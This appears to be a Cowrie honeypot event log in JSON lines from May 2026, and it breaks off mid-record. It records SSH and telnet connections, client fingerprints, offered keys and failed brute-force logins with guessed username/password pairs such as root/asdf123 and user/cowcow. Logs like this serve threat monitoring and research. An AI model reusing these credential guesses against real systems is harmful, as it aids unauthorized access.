{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:30:2a:ca:86:4f:16:bb:96:a0:3e:2d:55:85:58:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBS8GQ1ejsPe7Y+wp5Egl6W/ejeD1BHQo95ocq5ab3oiKDEvJMlBZ6DaKoMl0hU107plHPn7RN2xnWIgZKaHRAzGv/KpwI0mFInZC6Zyl9TiX/zPWXZcobXFBKYMqNNHJWxHu17x03u8gnEuFVq71OP2NGPCfzhEvTIW37DSnn0qeYvqkwsNnq/mkb9Y/Nij8U9kBubqzejlUtxrRUIzGGCm2NbyOOIMjn1JNqNSG2bGTxlkiBVc3NJ7ES0hnLIo3yBz0YPcopdmDo3wCZfkbuibo8RjCabb1SOs8Deq7m8TUQoRwHTTJfRB6gV1wa3F1djt1qBVLMCO0zbXFeER3d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:30:2a:ca:86:4f:16:bb:96:a0:3e:2d:55:85:58:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.585515Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:30:2a:ca:86:4f:16:bb:96:a0:3e:2d:55:85:58:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBS8GQ1ejsPe7Y+wp5Egl6W/ejeD1BHQo95ocq5ab3oiKDEvJMlBZ6DaKoMl0hU107plHPn7RN2xnWIgZKaHRAzGv/KpwI0mFInZC6Zyl9TiX/zPWXZcobXFBKYMqNNHJWxHu17x03u8gnEuFVq71OP2NGPCfzhEvTIW37DSnn0qeYvqkwsNnq/mkb9Y/Nij8U9kBubqzejlUtxrRUIzGGCm2NbyOOIMjn1JNqNSG2bGTxlkiBVc3NJ7ES0hnLIo3yBz0YPcopdmDo3wCZfkbuibo8RjCabb1SOs8Deq7m8TUQoRwHTTJfRB6gV1wa3F1djt1qBVLMCO0zbXFeER3d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.588815Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:36:eb:69:54:7d:76:8b:5d:9f:03:26:71:30:8a:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/R4LHC0IJcE2eDitNeuYfufmVQpFOm9uaQdW2o+gGd2R2pgmiByY6ATR+H3VIzs0RorSbNrf77VGL5Iot51XLlP6d3GagiDZywU7+tRUSimc0HODT7dEFGOXQIN1SsFeLzsfQ8XlcQyes0Qc97/6nKLZUfaGrZljnlp4Qxf/+Y/q8iDaGn0DFx4DTAU3SwY7hudDcfv53lTUYlammyhvGH6oyNsKAnSLEpUhcspKaR8yM/a+bpuKd/fnA2Du/PpVY5Vm7N83OxmSulB6cWo3qFXpKezm4p5dRPDBMKTstc2yoQt6UdLZZc+HTJMeVQixQqAP45RJJ3nu9cOUdTH7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:36:eb:69:54:7d:76:8b:5d:9f:03:26:71:30:8a:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.681755Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:36:eb:69:54:7d:76:8b:5d:9f:03:26:71:30:8a:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/R4LHC0IJcE2eDitNeuYfufmVQpFOm9uaQdW2o+gGd2R2pgmiByY6ATR+H3VIzs0RorSbNrf77VGL5Iot51XLlP6d3GagiDZywU7+tRUSimc0HODT7dEFGOXQIN1SsFeLzsfQ8XlcQyes0Qc97/6nKLZUfaGrZljnlp4Qxf/+Y/q8iDaGn0DFx4DTAU3SwY7hudDcfv53lTUYlammyhvGH6oyNsKAnSLEpUhcspKaR8yM/a+bpuKd/fnA2Du/PpVY5Vm7N83OxmSulB6cWo3qFXpKezm4p5dRPDBMKTstc2yoQt6UdLZZc+HTJMeVQixQqAP45RJJ3nu9cOUdTH7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.685988Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:43:13:55:4f:88:8a:f7:78:5f:e1:04:fe:a4:20:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChTh1+pBmuFEFkL85Xzl4Y23WBQhrg4+54A+XmbR4m0dgesMhO9XjgcoaZie34XkOy7gsgsoWuCVHY72CEhZFiF3lVPKofKBHUAwuJ+OlrnxvOYY2+o0oudQNBmyXnCU6rpTzbITR8FXYYwTPYLIAuXHSkMqwTb183vg4mttwEwimw9kkAdvQuUsXDWO5DySCGyeoEPzDjQnGIFRFWFJoJr10tAIIhxr3LH8UMcyRTUI8yMgHAtN7YJqBy6C9OntrkYKO7kmysNAYj6M87DyI8owNy4aVi9eQ36N+KN0lwutF5jJJEIV6IoO1AduKM7zovfoysq40EPx3Dd8nYagK/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:43:13:55:4f:88:8a:f7:78:5f:e1:04:fe:a4:20:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.801294Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:43:13:55:4f:88:8a:f7:78:5f:e1:04:fe:a4:20:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChTh1+pBmuFEFkL85Xzl4Y23WBQhrg4+54A+XmbR4m0dgesMhO9XjgcoaZie34XkOy7gsgsoWuCVHY72CEhZFiF3lVPKofKBHUAwuJ+OlrnxvOYY2+o0oudQNBmyXnCU6rpTzbITR8FXYYwTPYLIAuXHSkMqwTb183vg4mttwEwimw9kkAdvQuUsXDWO5DySCGyeoEPzDjQnGIFRFWFJoJr10tAIIhxr3LH8UMcyRTUI8yMgHAtN7YJqBy6C9OntrkYKO7kmysNAYj6M87DyI8owNy4aVi9eQ36N+KN0lwutF5jJJEIV6IoO1AduKM7zovfoysq40EPx3Dd8nYagK/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.806206Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:e3:2c:37:36:e0:1c:ea:57:29:0e:1f:b1:21:59:d2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMbtOu7io6DFHb3GizFKuZlWTY64LI3lB9k5rRIfAJ/WL7VQpmKLR/akcQsB1mzSmnlzl69wHnypXMTglh435KhA4mRt6Ry99qFT+329LY52bC9cEM4jW10vAfnSg3oArkhKe3h/hcZGIFOKBvsJbi56RhC7rEfgYlYNdquIwQkNAAAAFQCALn+uVnO3C7t0IPVVXI3hHBeOaQAAAIA84lglrIIghDrJazN8UZHWiRKPnpJnDr7ruwOD3SD8MV/v157+9zr2t6vdTNbNI2civDSdiFBKA37irkhMqM1vsTJkNBB1neK/G6eUqKyNdLnmSJiR4/mJonW6/klGIOkGv9pHexa8F282Gt0GklZoM433CEPEDx+e+Nwxc+wUhAAAAIAXwL/OuLIE+XzSzYvcTefkYdbnIux26mNc7NTCnV1w+Qp9+Y0RtI71LOrelYGLzziNrx2ylez3l4LOJNa4FSLw5yz9UrYUt5XPBkE3SdjEzD8LWqYueo1FGUB0e/bjVvqj6tG74wBO6KoR+ddSykr7GAhm4A+9Ba9QRk5OiXu/ZA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 79:e3:2c:37:36:e0:1c:ea:57:29:0e:1f:b1:21:59:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.905821Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:e3:2c:37:36:e0:1c:ea:57:29:0e:1f:b1:21:59:d2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMbtOu7io6DFHb3GizFKuZlWTY64LI3lB9k5rRIfAJ/WL7VQpmKLR/akcQsB1mzSmnlzl69wHnypXMTglh435KhA4mRt6Ry99qFT+329LY52bC9cEM4jW10vAfnSg3oArkhKe3h/hcZGIFOKBvsJbi56RhC7rEfgYlYNdquIwQkNAAAAFQCALn+uVnO3C7t0IPVVXI3hHBeOaQAAAIA84lglrIIghDrJazN8UZHWiRKPnpJnDr7ruwOD3SD8MV/v157+9zr2t6vdTNbNI2civDSdiFBKA37irkhMqM1vsTJkNBB1neK/G6eUqKyNdLnmSJiR4/mJonW6/klGIOkGv9pHexa8F282Gt0GklZoM433CEPEDx+e+Nwxc+wUhAAAAIAXwL/OuLIE+XzSzYvcTefkYdbnIux26mNc7NTCnV1w+Qp9+Y0RtI71LOrelYGLzziNrx2ylez3l4LOJNa4FSLw5yz9UrYUt5XPBkE3SdjEzD8LWqYueo1FGUB0e/bjVvqj6tG74wBO6KoR+ddSykr7GAhm4A+9Ba9QRk5OiXu/ZA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.909716Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:16.999968Z","src_ip":"31.58.144.12","session":"aabcd0b5ff79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.039761543273926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:31:17.456573Z","src_ip":"50.6.8.71","session":"21b7ccaf698d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":55130,"dst_ip":"159.203.135.109","dst_port":22,"session":"853c841f4bea","protocol":"ssh","message":"New connection: 87.106.29.151:55130 (159.203.135.109:22) [session: 853c841f4bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:09.320764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:09.325053Z","src_ip":"87.106.29.151","session":"853c841f4bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:09.417872Z","src_ip":"87.106.29.151","session":"853c841f4bea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sa","password":"1","message":"login attempt [sa/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:09.822738Z","src_ip":"87.106.29.151","session":"853c841f4bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:10.918746Z","src_ip":"87.106.29.151","session":"853c841f4bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44226,"dst_ip":"10.17.0.5","dst_port":23,"session":"9899773727c7","protocol":"telnet","message":"New connection: 50.6.8.71:44226 (10.17.0.5:23) [session: 9899773727c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:12.744626Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.104.190.72","src_port":35922,"dst_ip":"10.17.0.5","dst_port":23,"session":"8200c89b152b","protocol":"telnet","message":"New connection: 24.104.190.72:35922 (10.17.0.5:23) [session: 8200c89b152b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:27.973742Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36284,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b3cbc311b14","protocol":"ssh","message":"New connection: 103.195.236.96:36284 (159.203.135.109:22) [session: 2b3cbc311b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:29.738481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:29.742672Z","src_ip":"103.195.236.96","session":"2b3cbc311b14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:29.981924Z","src_ip":"103.195.236.96","session":"2b3cbc311b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123","message":"login attempt [root/asdf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:30.688577Z","src_ip":"103.195.236.96","session":"2b3cbc311b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:31.926513Z","src_ip":"103.195.236.96","session":"2b3cbc311b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37804,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3dd1066932","protocol":"ssh","message":"New connection: 80.94.92.184:37804 (159.203.135.109:22) [session: 3a3dd1066932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:38.296742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:38.372227Z","src_ip":"80.94.92.184","session":"3a3dd1066932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:38.493529Z","src_ip":"80.94.92.184","session":"3a3dd1066932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:39.227552Z","src_ip":"80.94.92.184","session":"3a3dd1066932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:40.366320Z","src_ip":"80.94.92.184","session":"3a3dd1066932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.28018546104431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:44.024723Z","src_ip":"50.6.8.71","session":"9899773727c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":50496,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8094ec070ab","protocol":"telnet","message":"New connection: 23.94.28.189:50496 (10.17.0.5:23) [session: f8094ec070ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:51.072989Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34516,"dst_ip":"10.17.0.5","dst_port":23,"session":"6888ebaf3e3a","protocol":"telnet","message":"New connection: 50.6.8.71:34516 (10.17.0.5:23) [session: 6888ebaf3e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:54.218646Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":33970,"dst_ip":"10.17.0.5","dst_port":23,"session":"76eed24491b6","protocol":"telnet","message":"New connection: 50.6.8.71:33970 (10.17.0.5:23) [session: 76eed24491b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:32:58.086203Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":7493,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b6e9d161551","protocol":"ssh","message":"New connection: 2.57.121.25:7493 (10.17.0.5:22) [session: 2b6e9d161551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:06.606776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:06.611009Z","src_ip":"2.57.121.25","session":"2b6e9d161551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:06.709962Z","src_ip":"2.57.121.25","session":"2b6e9d161551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crank","message":"login attempt [user/crank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:07.181844Z","src_ip":"2.57.121.25","session":"2b6e9d161551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cowcow","message":"login attempt [user/cowcow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:08.295529Z","src_ip":"2.57.121.25","session":"2b6e9d161551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42162,"dst_ip":"10.17.0.5","dst_port":23,"session":"341d36ff1e0d","protocol":"telnet","message":"New connection: 50.6.8.71:42162 (10.17.0.5:23) [session: 341d36ff1e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:09.321713Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"copper1","message":"login attempt [user/copper1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:09.397187Z","src_ip":"2.57.121.25","session":"2b6e9d161551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"copenhagen","message":"login attempt [user/copenhagen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:10.498681Z","src_ip":"2.57.121.25","session":"2b6e9d161551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":53494,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dcc66c55f98","protocol":"ssh","message":"New connection: 103.183.114.55:53494 (159.203.135.109:22) [session: 4dcc66c55f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:10.544040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:33:10.548857Z","src_ip":"103.183.114.55","session":"4dcc66c55f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2